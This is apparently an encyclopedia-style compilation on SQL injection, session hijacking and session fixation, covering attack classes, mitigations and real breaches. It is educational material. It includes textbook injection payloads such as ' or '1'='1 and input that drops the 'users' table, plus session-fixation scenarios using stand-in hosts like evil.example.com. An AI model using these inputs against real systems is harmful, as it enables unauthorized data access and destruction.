A SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a badly designed website to perform operations on the database (often to dump the database content to the attacker) other than the usual operations as intended by the designer. SQL injection is a code injection technique that exploits a security vulnerability in a website's software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database. Using well designed query language interpreters can prevent SQL injections. In the wild, it has been noted that applications experience, on average, 71 attempts an hour.[1] When under direct attack, some applications occasionally came under aggressive attacks and at their peak, were attacked 800-1300 times per hour.[1]

Forms of vulnerability
SQL Injection Attack (SQLIA) is considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project.[2] The attacking vector contains five main sub-classes depending on the technical aspects of the attack's deployment: Classic SQLIA Inference SQL Injection Intracting with SQL Injection DBMS specific SQLIA Compounded SQLIA

Some security researchers propose that Classic SQLIA is outdated[3] though many web applications are not hardened against them. Inference SQLIA is still a threat, because of its dynamic and flexible deployment as an attacking scenario. The DBMS specific SQLIA should be considered as supportive regardless of the utilization of Classic or Inference SQLIA. Compounded SQLIA is a new term derived from research on SQL Injection Attacking Vector in combination with other different web application attacks as: SQL Injection + Insufficient authentication[4] SQL Injection + DDos attacks[5] SQL Injection + DNS Hijacking[6] SQL Injection + XSS[7]

The Storm Worm is one representation of Compounded SQLIA.[8] A complete overview of the SQL Injection classification is presented in the next figure, Krassen Deltchev in 2010:

SQL injection

12

This Classification represents the state of SQLIA, respecting its evolution till 2010; further refinement is underway.[9] m/2007/01/social-engineering-and-malware.html |title=Dancho Danchev's Blog

Technical Implementations
Incorrectly filtered escape characters
This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into an SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application. The following line of code illustrates this vulnerability
A Classification of SQL Injection Attacking Vector, till 2010.

statement = "SELECT * FROM users WHERE name = '" + userName + "';" This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as ' or '1'='1 Or using comments to even block the rest of the query (there are three types of SQL comments):[10] ' or '1'='1' -- ' ' or '1'='1' ({ ' ' or '1'='1' /* ' renders one of the following SQL statements by the parent language: SELECT * FROM users WHERE name = '' or '1'='1'; SELECT * FROM users WHERE name = '' or '1'='1' -- '; If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of '1'='1' is always true. The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements: a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't' This input renders the final SQL statement as follows: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

SQL injection While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP's mysql_query(); function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.

13

Incorrect type handling

This form of SQL injection occurs when a user supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example: statement := "SELECT * FROM userinfo WHERE id = " + a_variable + ";" It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to 1;DROP TABLE users will drop (delete) the "users" table from the database, since the SQL would be rendered as follows: SELECT * FROM userinfo WHERE id=1;DROP TABLE users;

Blind SQL injection

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.[11] Conditional responses One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND '1'='1'; will result in a normal page while SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND '1'='2'; will likely give a different result if the page is vulnerable to a SQL injection. An injection like this may suggest to the attacker that a blind SQL injection is possible, leaving the attacker to devise statements that evaluate to true or false depending on the contents of another column or table outside of the SELECT statement's column list.[12] SELECT 1/0 FROM users WHERE username='ooo'; Another type of blind SQL injection uses a conditional timing delay on which the attacker can learn whether the SQL statement resulted in a true or in a false condition [13]

SQL injection

14

Mitigation
Parameterized statements
With most development platforms, parameterized statements can be used that work with parameters (sometimes called placeholders or bind variables) instead of embedding user input in the statement. In many cases, the SQL statement is fixed, and each parameter is a scalar, not a table. The user input is then assigned (bound) to a parameter. Enforcement at the coding level Using object-relational mapping libraries avoids the need to write SQL code. The ORM library in effect will generate parameterized SQL statements from object-oriented code.

Escaping
A straightforward, though error-prone, way to prevent injections is to escape characters that have a special meaning in SQL. The manual for an SQL DBMS explains which characters have a special meaning, which allows creating a comprehensive blacklist of characters that need translation. For instance, every occurrence of a single quote (') in a parameter must be replaced by two single quotes ('') to form a valid SQL string literal. For example, in PHP it is usual to escape parameters using the function mysql_real_escape_string(); before sending the SQL query: $query = sprintf("SELECT * FROM `Users` WHERE UserName='%s' AND Password='%s'", mysql_real_escape_string($Username), mysql_real_escape_string($Password)); mysql_query($query);

This function, i.e. mysql_real_escape_string(), calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL.[14] There are other functions for many database types in PHP such as pg_escape_string() for PostgreSQL. There is, however, one function that works for escaping characters, and used especially for injection in the databases that do not have escaping functions in PHP. This function is: addslashes(string $str ). It returns a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).[15] Routinely passing escaped strings to SQL is error prone because it is easy to forget to escape a given string. Creating a transparent layer to secure the input can reduce this error-proneness, if not entirely eliminate it.[16]

Known real-world examples

On November 1, 2005, a teenage hacker used SQL injection to break into the site of a Taiwanese information security magazine from the Tech Target group and steal customers' information.[17] On January 13, 2006, Russian computer criminals broke into a Rhode Island government web site and allegedly stole credit card data from individuals who have done business online with state agencies.[18] On March 29, 2006, a hacker discovered an SQL injection flaw in an official Indian government tourism site.[19] On March 2, 2007, a hacker discovered an SQL injection flaw in the knorr.de login page.[20] On June 29, 2007, a computer criminal defaced the Microsoft U.K. website using SQL injection.[21] [22] U.K. website The Register quoted a Microsoft spokesperson acknowledging the problem.

SQL injection In January 2008, tens of thousands of PCs were infected by an automated SQL injection attack that exploited a vulnerability in application code that uses Microsoft SQL Server as the database store.[23] In July 2008, Kaspersky's Malaysian site was hacked by a Turkish hacker going by the handle of "m0sted", who claimed to have used an SQL injection. On April 13, 2008, the Sexual and Violent Offender Registry of Oklahoma shut down its website for 'routine maintenance' after being informed that 10,597 Social Security numbers belonging to sex offenders had been downloaded via an SQL injection attack[24] In May 2008, a server farm inside China used automated queries to Google's search engine to identify SQL server websites which were vulnerable to the attack of an automated SQL injection tool.[23] [25] In 2008, at least April through August, a sweep of attacks began exploiting the SQL injection vulnerabilities of Microsoft's IIS web server and SQL Server database server. The attack does not require guessing the name of a table or column, and corrupts all text columns in all tables in a single request.[26] A HTML string that references a malware JavaScript file is appended to each value. When that database value is later displayed to a website visitor, the script attempts several approaches at gaining control over a visitor's system. The number of exploited web pages is estimated at 500,000.[27] On August 17, 2009, the United States Justice Department charged an American citizen Albert Gonzalez and two unnamed Russians with the theft of 130 million credit card numbers using an SQL injection attack. In reportedly "the biggest case of identity theft in American history", the man stole cards from a number of corporate victims after researching their payment processing systems. Among the companies hit were credit card processor Heartland Payment Systems, convenience store chain 7-Eleven, and supermarket chain Hannaford Brothers.[28] In December 2009, an attacker breached a RockYou plaintext database containing the unencrypted usernames and passwords of about 32 million users using an SQL injection attack.[29] On July 2010, a South American security researcher who goes by the handle Ch Russo obtained sensitive user information from popular BitTorrent site The Pirate Bay. He gained access to the site's administrative control panel and exploited a SQL injection vulnerability that enabled him to collect user account information, including IP addresses, MD5 password hashes and records of which torrents individual users have uploaded.[30] On July 2426, 2010, attackers from within Japan and China used an SQL injection to gain access to customers' credit card data from Neo Beat, an Osaka-based company that runs a large online supermarket site. The attack also affected seven business partners including supermarket chains Izumiya Co, Maruetsu Inc and Ryukyu Jusco Co. The theft of data affected a reported 12,191 customers. As of August 14, 2010 it was reported that there have been more than 300 cases of credit card information being used by third parties to purchase goods and services in China. On September 19 during the 2010 Swedish general election a voter attempted a code injection by hand writing SQL commands as part of a write in vote.[31] On 8 November 2010 the British Royal Navy website was compromised by TinKode using SQL injection.[32] [33] On 5 February 2011 HBGary, a technology security firm, was broken into by Anonymous using a SQL injection in their CMS-driven website[34] On March 27, 2011 mysql.com [35], the official homepage for MySQL, was compromised by TinKode using SQL blind injection[36] On April 11, 2011, Barracuda Networks was compromised using an SQL injection flaw. Email addresses and usernames of employees were among the information obtained[37] Over a period of 4 hours on Wednesday April 27, 2011 an automated SQL injection attack occurred on Broadband Reports website that was able to extract 8% of the username/password pairs: 8,000 random accounts of the 9,000 active and 90,000 old or inactive accounts.[38] [39] [40] On June 1, 2011, "hacktivists" of the group Lulzsec were accused of using SQLI to steal coupons, download keys, and passwords that were stored in plaintext on Sony's website, accessing the personal information of a million users.[41] [42]

15

SQL injection In June, 2011, PBS was hacked, mostly likely through use of SQL injection. The full process used by hackers to execute SQL injections was described in this Imperva [43] blog.[44] On June 27, 2011, Lady Gaga's website was hacked by a group of US cyber attackers called SwagSec and thousands of her fans personal details were stolen from her website. The hackers took a content database dump from www.ladygaga.co.uk and a section of email, first name, and last name records were accessed.[45] According to an Imperva blog about the incident, a SQL injection vulnerability for her website was recently posted on a hacker forum website, where a user revealed the vulnerability to the rest of the hacker community. While no financial records were compromised, the blog implies that Lady Gaga fans are most likely receiving fraudulent email messages offering exclusive Lady Gaga merchandise, but instead contain malware.[46] In August, 2011, Hacker Steals User Records From Nokia Developer Site using "SQL injection" In September, 2011, Turkish Hackers accessed NetNames DNS records and changed entries redirecting users (of Betfair (Online Gambling), The Telegraph, The Register, The National Geographic, UPS, Acer, Vodafone.com) to a site set up by them, and then taking responsibility for this action publishing it on Zone-H.[47] In October, 2011, Malaysian Hacker, Phiber Optik managed to extract data from www.canon.com.cn by exploiting a vulnerability he came across. He himself reported the vulnerability to the company within minutes and claiming to have used SQL Injection.

16

References
[1] http:/ / blog. imperva. com/ 2011/ 09/ sql-injection-by-the-numbers. html [2] "Category:OWASP Top Ten Project" (https:/ / www. owasp. org/ index. php/ Category:OWASP_Top_Ten_Project). OWASP. . Retrieved 2011-06-03. [3] "Joe McCray - Advanced SQL Injection - LayerOne 2009" (http:/ / www. youtube. com/ watch?v=WkHkryIoLD0). YouTube. . Retrieved 2011-06-03. [4] "WHID 2007-60: The blog of a Cambridge University security team hacked" (http:/ / www. xiom. com/ whid-2007-60). Xiom. . Retrieved 2011-06-03. [5] "WHID 2009-1: Gaza conflict cyber war" (http:/ / www. xiom. com/ content/ whid-2009-1-gaza-conflict-cyber-war). Xiom. . Retrieved 2011-06-03. [6] (http:/ / www. xiom. com/ whid-list/ DNS Hijacking) [7] http:/ / www. darkreading. com/ security/ management/ showArticle. jhtml?articleID=211201482 [8] Danchev, Dancho (2007-01-23). "Mind Streams of Information Security Knowledge: Social Engineering and Malware" (http:/ / ddanchev. blogspot. com/ 2007/ 01/ social-engineering-and-malware. html). Ddanchev.blogspot.com. . Retrieved 2011-06-03. [9] Deltchev, Krassen. "New Web 2.0 Attacks" (http:/ / www. nds. ruhr-uni-bochum. de/ teaching/ theses/ Web20/ ). B.Sc. Thesis. Ruhr-University Bochum. . Retrieved 18 February 2010. [10] IBM Informix Guide to SQL: Syntax. Overview of SQL Syntax > How to Enter SQL Comments (http:/ / publib. boulder. ibm. com/ infocenter/ idshelp/ v10/ index. jsp?topic=/ com. ibm. sqls. doc/ sqls36. htm), IBM, [11] "Using SQLBrute to brute force data from a blind SQL injection point" (http:/ / web. archive. org/ web/ 20080614203711/ http:/ / www. justinclarke. com/ archives/ 2006/ 03/ sqlbrute. html). Justin Clarke. Archived from the original (http:/ / www. justinclarke. com/ archives/ 2006/ 03/ sqlbrute. html) on June 14, 2008. . Retrieved October 18, 2008. [12] Ofer Maor and Amichai Shulman. "Blind SQL Injection: Getting the syntax right" (http:/ / www. imperva. com/ resources/ adc/ blind_sql_server_injection. html#getting_syntax_right). Imperva. . Retrieved September 18, 2008. "This is usually the trickiest part in the blind SQL injection process. If the original queries are simple, this is simple as well. However, if the original query was complex, breaking out of it may require a lot of trial and error." [13] Chris Anley. "Advanced SQL Injection In SQL Server Applications" (http:/ / www. nccgroup. com/ Libraries/ Document_Downloads/ Advanced_SQL_Injection_in_SQL_Server_Applications. sflb. ashx). NGS Security. . Retrieved December 12, 2011. "First paper mentioning Blind SQL Injections with timing delays" [14] "mysql_real_escape_string - PHP Manual" (http:/ / www. php. net/ manual/ en/ function. mysql-real-escape-string. php). PHP.net. . [15] "Addslashes - PHP Manual" (http:/ / pl2. php. net/ manual/ en/ function. addslashes. php). PHP.net. . [16] "Transparent query layer for MySQL" (http:/ / www. xarg. org/ 2010/ 11/ transparent-query-layer-for-mysql/ ). Robert Eisele. November 8, 2010. . [17] "WHID 2005-46: Teen uses SQL injection to break to a security magazine web site" (http:/ / www. xiom. com/ whid-2005-46). Web Application Security Consortium. November 1, 2005. . Retrieved December 1, 2009. [18] "WHID 2006-3: Russian hackers broke into a RI GOV website" (http:/ / www. xiom. com/ whid-2006-3). Web Application Security Consortium. January 13, 2006. . Retrieved May 16, 2008.

SQL injection
[19] "WHID 2006-27: SQL Injection in incredibleindia.org" (http:/ / www. xiom. com/ whid-2006-27). Web Application Security Consortium. March 29, 2006. . Retrieved March 12, 2010. [20] "WHID 2007-12: SQL injection at knorr.de login page" (http:/ / www. xiom. com/ whid-2007-12). Web Application Security Consortium. March 2, 2007. . Retrieved March 12, 2010. [21] Robert (June 29, 2007). "Hacker Defaces Microsoft U.K. Web Page" (http:/ / www. cgisecurity. net/ 2007/ 06/ hacker-defaces. html). cgisecurity.net. . Retrieved May 16, 2008. [22] Keith Ward (June 29, 2007). "Hacker Defaces Microsoft U.K. Web Page" (http:/ / rcpmag. com/ news/ article. aspx?editorialsid=8762). Redmond Channel Partner Online. . Retrieved May 16, 2008. [23] Sumner Lemon, IDG News Service (May 19, 2008). "Mass SQL Injection Attack Targets Chinese Web Sites" (http:/ / www. pcworld. com/ businesscenter/ article/ 146048/ mass_sql_injection_attack_targets_chinese_web_sites. html). PCWorld. . Retrieved May 27, 2008. [24] Alex Papadimoulis (April 15, 2008). "Oklahoma Leaks Tens of Thousands of Social Security Numbers, Other Sensitive Data" (http:/ / thedailywtf. com/ Articles/ Oklahoma-Leaks-Tens-of-Thousands-of-Social-Security-Numbers,-Other-Sensitive-Data. aspx). The Daily WTF. . Retrieved May 16, 2008. [25] Michael Zino (May 1, 2008). "ASCII Encoded/Binary String Automated SQL Injection Attack" (http:/ / www. bloombit. com/ Articles/ 2008/ 05/ ASCII-Encoded-Binary-String-Automated-SQL-Injection. aspx). . [26] Giorgio Maone (April 26, 2008). "Mass Attack FAQ" (http:/ / hackademix. net/ 2008/ 04/ 26/ mass-attack-faq/ ). . [27] Gregg Keizer (April 25, 2008). "Huge Web hack attack infects 500,000 pages" (http:/ / www. computerworld. com/ action/ article. do?command=viewArticleBasic& articleId=9080580). . [28] "US man 'stole 130m card numbers'" (http:/ / news. bbc. co. uk/ 2/ hi/ americas/ 8206305. stm). BBC. August 17, 2009. . Retrieved August 17, 2009. [29] O'Dell, Jolie (December 16, 2009). "RockYou Hacker - 30% of Sites Store Plain Text Passwords" (http:/ / www. nytimes. com/ external/ readwriteweb/ 2009/ 12/ 16/ 16readwriteweb-rockyou-hacker-30-of-sites-store-plain-text-13200. html). The New York Times. . Retrieved May 23, 2010. [30] "The pirate bay attack" (http:/ / krebsonsecurity. com/ 2010/ 07/ pirate-bay-hack-exposes-user-booty/ ). July 7, 2010. . [31] "Did Little Bobby Tables migrate to Sweden?" (http:/ / alicebobandmallory. com/ articles/ 2010/ 09/ 23/ did-little-bobby-tables-migrate-to-sweden). Alicebobandmallory.com. . Retrieved 2011-06-03. [32] Royal Navy website attacked by Romanian hacker (http:/ / www. bbc. co. uk/ news/ technology-11711478) BBC News, 8-11-10, Accessed November 2010 [33] Sam Kiley (November 25, 2010). "Super Virus A Target For Cyber Terrorists" (http:/ / news. sky. com/ skynews/ Home/ World-News/ Stuxnet-Worm-Virus-Targeted-At-Irans-Nuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/ Article/ 201011415827544). . Retrieved 25 November 2010. [34] "Anonymous speaks: the inside story of the HBGary hack" (http:/ / arstechnica. com/ tech-policy/ news/ 2011/ 02/ anonymous-speaks-the-inside-story-of-the-hbgary-hack. ars). arstechnica. . [35] http:/ / www. mysql. com [36] "MySQL.com compromised" (http:/ / blog. sucuri. net/ 2011/ 03/ mysql-com-compromised. html). sucuri. . [37] "Hacker breaks into Barracuda Networks database" (http:/ / www. networkworld. com/ news/ 2011/ 041211-hacker-breaks-into-barracuda-networks. html?hpg1=bn). . [38] "site user password intrusion info" (http:/ / www. dslreports. com/ forum/ r25793356-). Dslreports.com. . Retrieved 2011-06-03. [39] "DSLReports says member information stolen" (http:/ / news. cnet. com/ 8301-27080_3-20058471-245. html). Cnet News. 2011-04-28. . Retrieved 2011-04-29. [40] "DSLReports.com breach exposed more than 100,000 accounts" (http:/ / www. thetechherald. com/ article. php/ 201117/ 7127/ DSLReports-com-breach-exposed-more-than-100-000-accounts). The Tech Herald. 2011-04-29. . Retrieved 2011-04-29. [41] "LulzSec hacks Sony Pictures, reveals 1m passwords unguarded" (http:/ / www. electronista. com/ articles/ 11/ 06/ 02/ lulz. security. hits. sony. again. in. security. message/ ), electronista.com, 2 June 2011, [42] Ridge Shan (June 6, 2011), "LulzSec Hacker Arrested, Group Leaks Sony Database" (http:/ / www. theepochtimes. com/ n2/ technology/ lulzsec-member-arrested-group-leaks-sony-database-57296. html), The Epoch Times, [43] http:/ / www. imperva. com/ index. html [44] "Imperva.com: PBS Hacked - How Hackers Probably Did It" (http:/ / blog. imperva. com/ 2011/ 05/ pbs-breached-how-hackers-probably-did-it. html). . Retrieved 2011-07-01. [45] "Lady Gaga Website Hacked and Fans Details Stolen" (http:/ / www. mirror. co. uk/ celebs/ news/ 2011/ 07/ 16/ lady-gaga-website-hacked-and-fans-details-stolen-115875-23274356/ ). 2011-07-16. . [46] "Lady Gaga Gets a SQL Injection" (http:/ / blog. imperva. com/ 2011/ 07/ lady-gaga-gets-a-sql-injection. html). July 17, 2011. . [47] http:/ / www. zone-h. org/ news/ id/ 4741

17

SQL injection

18

External links
SQL Injection on the Nameless Wiki (http://www.namelesswiki.com/wiki/SQL_Injection) Blind Sql injection with Regular Expression (http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf) BUGTRAQ-VULNERABLE SITE TRACKER (http://www.vulntraq.com) (injection vulnerability) WASC Threat Classification - SQL Injection Entry (http://projects.webappsec.org/SQL-Injection), by the Web Application Security Consortium Why SQL Injection Won't Go Away (http://docs.google.com/ leaf?id=0BykNNUTb95yzYTRjMjNjMWEtODBmNS00YzgwLTlmMGYtNWZmODI2MTNmZWYw& sort=name&layout=list&num=50), by Stuart Thomas SQL Injection Attacks by Example (http://unixwiz.net/techtips/sql-injection.html), by Steve Friedl SQL Injection Prevention Cheat Sheet (http://www.owasp.org/index.php/ SQL_Injection_Prevention_Cheat_Sheet), by OWASP SQL Injection Tutorial (http://www.breakthesecurity.com/2010/12/hacking-website-using-sql-injection. html), by BTS. Free SQL Injection Testing and Exploitation Tool (http://sqlmap.sourceforge.net/) 10 years of sql injection history (http://hackertarget.com/10-years-of-sql-injection/)

SDL Quick security references on SQL injection (http://go.microsoft.com/?linkid=9707610) by Bala Neerumalla

Session hijacking
In computer science, session hijacking is the exploitation of a valid computer sessionsometimes also called a session keyto gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim's computer (see HTTP cookie theft). A popular method is using source-routed IP packets. This allows a hacker at point A on the network to participate in a conversation between B and C by encouraging the IP packets to pass through its machine. If source-routing is turned off, the hacker can use "blind" hijacking, whereby it guesses the responses of the two machines. Thus, the hacker can send a command, but can never see the response. However, a common command would be to set a password allowing access from somewhere else on the net. A hacker can also be "inline" between B and C using a sniffing program to watch the conversation. This is known as a "man-in-the-middle attack". A common component of such an attack is to execute a denial-of-service (DoS) attack against one end-point to stop it from responding. This attack can be either against the machine to force it to crash, or against the network connection to force heavy packet loss.

Session hijacking

19

History
Session hijacking was not possible with early versions of HTTP. HTTP protocol versions 0.8 and 0.9 lacked cookies and other features necessary for session hijacking. Version 0.9beta of Mosaic Netscape, released on October 13, 1994, supported cookies. Early versions of HTTP 1.0 did have some security weaknesses relating to session hijacking, but they were difficult to exploit due to the vagaries of most early HTTP 1.0 servers and browsers. As HTTP 1.0 has been designated as a fallback for HTTP 1.1 since the early 2000s -- and as HTTP 1.0 servers are all essentially HTTP 1.1 servers the session hijacking problem has evolved into a nearly permanent security risk. The introduction of supercookies and other features with the modernized HTTP 1.1 has allowed for the hijacking problem to become an ongoing security problem. Webserver and browser state machine standardization has contributed to this ongoing security problem. Session hijacking has been an ongoing problem for web browser developers and security experts for at least 5 years [1] [2].

Methods
There are four main methods used to perpetrate a session hijack. These are: Session fixation, where the attacker sets a user's session id to one known to him, for example by sending the user an email with a link that contains a particular session id. The attacker now only has to wait until the user logs in. Session sidejacking, where the attacker uses packet sniffing to read network traffic between two parties to steal the session cookie. Many web sites use SSL encryption for login pages to prevent attackers from seeing the password, but do not use encryption for the rest of the site once authenticated. This allows attackers that can read the network traffic to intercept all the data that is submitted to the server or web pages viewed by the client. Since this data includes the session cookie, it allows him to impersonate the victim, even if the password itself is not compromised.[3] Unsecured Wi-Fi hotspots are particularly vulnerable, as anyone sharing the network will generally be able to read most of the web traffic between other nodes and the access point. Alternatively, an attacker with physical access can simply attempt to steal the session key by, for example, obtaining the file or memory contents of the appropriate part of either the user's computer or the server. Cross-site scripting, where the attacker tricks the user's computer into running code which is treated as trustworthy because it appears to belong to the server, allowing the attacker to obtain a copy of the cookie or perform other operations.

Prevention
Methods to prevent session hijacking include: An open source solution is ArpON"ARP handler inspection". It is a portable handler daemon that make ARP protocol secure in order to avoid the Man In The Middle (MITM) attack through ARP Spoofing, ARP Cache Poisoning, ARP Poison Routing (APR) attacks. It blocks also the derived attacks by it, which Sniffing, Hijacking, Injection, Filtering & co attacks for more complex derived attacks, as: DNS Spoofing, WEB Spoofing, Session Hijacking and SSL/TLS Hijacking & co attacks. Encryption of the data traffic passed between the parties; in particular the session key, though ideally all traffic for the entire session[4] by using SSL/TLS. This technique is widely relied-upon by web-based banks and other e-commerce services, because it completely prevents sniffing-style attacks. However, it could still be possible to perform some other kind of session hijack. Use of a long random number or string as the session key. This reduces the risk that an attacker could simply guess a valid session key through trial and error or brute force attacks.

Session hijacking Regenerating the session id after a successful login. This prevents session fixation because the attacker does not know the session id of the user after he has logged in. Some services make secondary checks against the identity of the user. For example, a web server could check with each request made that the IP address of the user matched the one last used during that session. This does not prevent attacks by somebody who shares the same IP address, however, and could be frustrating for users whose IP address is liable to change during a browsing session. Alternatively, some services will change the value of the cookie with each and every request. This dramatically reduces the window in which an attacker can operate and makes it easy to identify whether an attack has taken place, but can cause other technical problems (for example, preventing the back button from working properly, on the web). Users may also wish to log out of websites whenever they are finished using them.[5] [6] However this will not protect against attacks such as Firesheep.

20

Firesheep
Recently a firefox extension called Firesheep has exploited and made it easy for public wifi users to be attacked by session hijackers. Websites like Facebook, Twitter, and any that the user adds to their preferences allow the firesheep user to easily access private information from cookies and threaten the public wifi users personal property.

References
[1] [2] [3] [4] http:/ / www. theinquirer. net/ inquirer/ news/ 1811527/ fear-baa-firesheep http:/ / catless. ncl. ac. uk/ Risks/ 26. 19. html#subj7 "Warning of webmail wi-fi hijack" (http:/ / news. bbc. co. uk/ 2/ hi/ technology/ 6929258. stm). BBC News. August 3, 2007. . "Schneier on Security: Firesheep" (http:/ / www. schneier. com/ blog/ archives/ 2010/ 10/ firesheep. html). 27 October, 2010. . Retrieved 29 May, 2011. [5] See "NetBadge: How To Log Out" (http:/ / itc. virginia. edu/ netbadge/ logout. html). . [6] See also "Be Card Smart Online - Always log out" (http:/ / www. becardsmart. org. uk/ always_log_out). .

External links
ArpON home page (http://arpon.sourceforge.net)

Session fixation

21

Session fixation
In computer network security, session fixation attacks attempt to exploit the vulnerability of a system which allows one person to fixate (set) another person's session identifier (SID). Most session fixation attacks are web based, and most rely on session identifiers being accepted from URLs (query string) or POST data.

Attack scenarios
Alice has an account at the bank http://unsafe/. Unfortunately, Alice is not very security savvy. Mallory is out to get Alice's money from the bank. Alice has a reasonable level of trust in Mallory, and will visit links Mallory sends her.

A simple attack scenario

Straightforward scenario: 1. Mallory has determined that http://unsafe/ accepts any session identifier, accepts session identifiers from query strings and has no security validation. http://unsafe/ is thus not secure. 2. Mallory sends Alice an e-mail: "Hey, check this out, there is a cool new account summary feature on our bank, http://unsafe/?SID=I_WILL_KNOW_THE_SID". Mallory is trying to fixate the SID to I_WILL_KNOW_THE_SID. 3. Alice is interested and visits http://unsafe/?SID=I_WILL_KNOW_THE_SID. The usual log-on screen pops up, and Alice logs on. 4. Mallory visits http://unsafe/?SID=I_WILL_KNOW_THE_SID and now has unlimited access to Alice's account.

Attack using server generated SID

A misconception is that servers which only accept server generated session identifiers are safe from fixation. This is false. Scenario: 1. Mallory visits http://vulnerable/ and checks which SID is returned. For example, the server may respond: Set-Cookie: SID=0D6441FEA4496C2. 2. Mallory is now able to send Alice an e-mail: "Check out this new cool feature on our bank, http://vulnerable/?SID=0D6441FEA4496C2." 3. Alice logs on, with fixated session identifier SID=0D6441FEA4496C2.

Attacks using cross-site cooking

Another session fixation attack, cross-site cooking, exploits browser vulnerabilities. This allows the site http://evil/ to store cookies in Alice's browser in the cookie domain of another server http://good/, which is trusted. This attack can succeed even when there is no vulnerability within http://good/, because http://good/ may assume that browser cookie management is secure. Scenario: 1. Mallory sends Alice an e-mail: "Hey, check out this cool site, http://evil/". 2. Alice visits http://evil/, which sets the cookie SID with the value I_WILL_KNOW_THE_SID into the domain of http://good/. 3. Alice then receives an e-mail from Mallory, "Hey, check out your bank account at http://good/". 4. Once Alice logs on, Mallory can use her account using the fixated session identifier.

Session fixation

22

Attacks using cross-subdomain cooking

This is like cross-site cooking, except that it does not rely on browser vulnerabilities. Rather, it relies on the fact that wildcard cookies can be set by one subdomain that affect other subdomains. Scenario: 1. 2. 3. 4. A web site www.example.com hands out subdomains to untrusted third parties One such party, Mallory, who now controls evil.example.com, lures Alice to her site A visit to evil.example.com sets a session cookie with the domain .example.com on Alice's browser When Alice visits www.example.com, this cookie will be sent with the request, as the specs for cookies states, and Alice will have the session specified by Mallory's cookie. 5. If Alice now logs on, Mallory can use her account. Each of these attack scenarios has resulted in Cross-calation, where Mallory has successfully gained access to the functions and data normally reserved for Alice. An alternate attack scenario does not require Alice to log in to a site. Rather, simply by fixing the session, Mallory may be able to spy on Alice and abuse the data she enters. For example, Mallory may use the above attacks to give Alice her own authenticated sessionso Alice will start using the site with all the authentication of Mallory. If Alice decides to purchase something on this site and enters her credit card details, Mallory might be able to retrieve that data (or other confidential data) by looking through the historical data stored for the account.

Countermeasures
Do not accept session identifiers from GET / POST variables
Session identifiers in URL (query string, GET variables) or POST variables are not recommended as they simplify this attack it is easy to make links or forms which set GET / POST variables. Additionally, session identifiers (SIDs) in query strings enable other risk and attack scenarios; The SID is leaked to others servers through the Referrer The SID is leaked to other people as users cut & paste "interesting links" from the address bar into chat, forums, communities, etc. The SID is stored in many places (browser history log, web server log, proxy logs, ...) Note: Cookies are shared between tabs and popped up browser windows. If your system requires to be hit with the same domain (www.example.com?code=site1 and www.example.com?code=site2 ), cookies may conflict with one another between tabs. It may be required to send the session identifier on the URL in order to overcome this limitation. If possible use site1.example.com or site2.example.com so there is not domain conflicts in the cookies. This may incur costs with extra SSL certificates. This behavior can be seen on many sites by opening another tab and trying to do side by side search results. One of the sessions will become unusable. Best solution: Identity Confirmation This attack can be largely avoided by changing the session ID when users log in. If every "important" request requires the user to be authenticated with ("logged into") the site, an attacker would need to know the id of the victim's log-in session. When the victim visits the link with the fixed session id, however, they will need to log into their account in order to do anything "important" as themselves. At this point, their session id will change and the attacker will not be able to do anything "important". A similar technique can be used to solve the phishing problem. If the user protects their account with two passwords, then it can be solved to a great extent.

Session fixation Solution: Store session identifiers in HTTP cookies The session identifier on most modern systems is stored by default in an HTTP cookie, which has a moderate level of security as long as the session system disregards GET/POST values. However, this solution is vulnerable to cross-site request forgery. Solution: Utilize SSL / TLS Session identifier When enabling HTTPS security, some systems allow applications to obtain the SSL / TLS session identifier. Use of the SSL/TLS session identifier is very secure, but many web development languages do not provide robust built-in functionality for this. SSL/TLS session identifiers may be suitable only for critical applications, such as those on large financial sites, due to the size of the systems. This issue, however, is rarely debated even in security forums.

23

Regenerate SID on each request

